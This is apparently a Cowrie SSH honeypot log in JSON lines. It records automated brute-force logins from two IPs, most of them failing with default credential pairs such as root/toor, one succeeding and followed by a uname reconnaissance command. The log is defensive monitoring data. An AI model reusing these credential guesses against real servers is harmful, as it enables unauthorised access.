{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:08.854231Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:09.124738Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:09.127618Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:09.300582Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:09.305570Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50308,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd1bbe55800","protocol":"ssh","message":"New connection: 176.65.139.95:50308 (159.203.135.109:22) [session: 0cd1bbe55800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:14.352267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:14.371565Z","src_ip":"176.65.139.95","session":"0cd1bbe55800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:14.444939Z","src_ip":"176.65.139.95","session":"0cd1bbe55800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:14.805825Z","src_ip":"176.65.139.95","session":"0cd1bbe55800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:15.924784Z","src_ip":"176.65.139.95","session":"0cd1bbe55800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45692,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0a7e050f315","protocol":"ssh","message":"New connection: 176.65.139.95:45692 (159.203.135.109:22) [session: a0a7e050f315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:20.267095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:20.272557Z","src_ip":"176.65.139.95","session":"a0a7e050f315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:20.420985Z","src_ip":"176.65.139.95","session":"a0a7e050f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:20.722934Z","src_ip":"176.65.139.95","session":"a0a7e050f315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:21.863143Z","src_ip":"176.65.139.95","session":"a0a7e050f315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45704,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a20b57b51a2","protocol":"ssh","message":"New connection: 176.65.139.95:45704 (159.203.135.109:22) [session: 9a20b57b51a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:26.377833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:26.394229Z","src_ip":"176.65.139.95","session":"9a20b57b51a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:26.462210Z","src_ip":"176.65.139.95","session":"9a20b57b51a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:26.816105Z","src_ip":"176.65.139.95","session":"9a20b57b51a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:27.934766Z","src_ip":"176.65.139.95","session":"9a20b57b51a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34182,"dst_ip":"159.203.135.109","dst_port":22,"session":"88a34c06e0e9","protocol":"ssh","message":"New connection: 176.65.139.95:34182 (159.203.135.109:22) [session: 88a34c06e0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:32.502939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:32.514774Z","src_ip":"176.65.139.95","session":"88a34c06e0e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:32.590417Z","src_ip":"176.65.139.95","session":"88a34c06e0e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:32.923795Z","src_ip":"176.65.139.95","session":"88a34c06e0e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39048,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d4b90d6536","protocol":"ssh","message":"New connection: 159.203.92.129:39048 (159.203.135.109:22) [session: a9d4b90d6536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:33.670024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:33.675005Z","src_ip":"159.203.92.129","session":"a9d4b90d6536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:33.680027Z","src_ip":"159.203.92.129","session":"a9d4b90d6536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinLingzi","password":"JinLingzi123","message":"login attempt [JinLingzi/JinLingzi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:33.692849Z","src_ip":"159.203.92.129","session":"a9d4b90d6536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:34.037961Z","src_ip":"176.65.139.95","session":"88a34c06e0e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:34.698946Z","src_ip":"159.203.92.129","session":"a9d4b90d6536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34200,"dst_ip":"159.203.135.109","dst_port":22,"session":"b66326be984f","protocol":"ssh","message":"New connection: 176.65.139.95:34200 (159.203.135.109:22) [session: b66326be984f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:38.477986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:38.486927Z","src_ip":"176.65.139.95","session":"b66326be984f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:38.618458Z","src_ip":"176.65.139.95","session":"b66326be984f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:38.967991Z","src_ip":"176.65.139.95","session":"b66326be984f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:40.069653Z","src_ip":"176.65.139.95","session":"b66326be984f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49994,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ddf96945a51","protocol":"ssh","message":"New connection: 176.65.139.95:49994 (159.203.135.109:22) [session: 9ddf96945a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:44.401149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:44.406151Z","src_ip":"176.65.139.95","session":"9ddf96945a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:44.488785Z","src_ip":"176.65.139.95","session":"9ddf96945a51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:44.737139Z","src_ip":"176.65.139.95","session":"9ddf96945a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:45.857628Z","src_ip":"176.65.139.95","session":"9ddf96945a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45678,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6dd14cace1c","protocol":"ssh","message":"New connection: 176.65.139.95:45678 (159.203.135.109:22) [session: b6dd14cace1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:50.235698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:50.240336Z","src_ip":"176.65.139.95","session":"b6dd14cace1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:50.339666Z","src_ip":"176.65.139.95","session":"b6dd14cace1c","protocol":"ssh"}
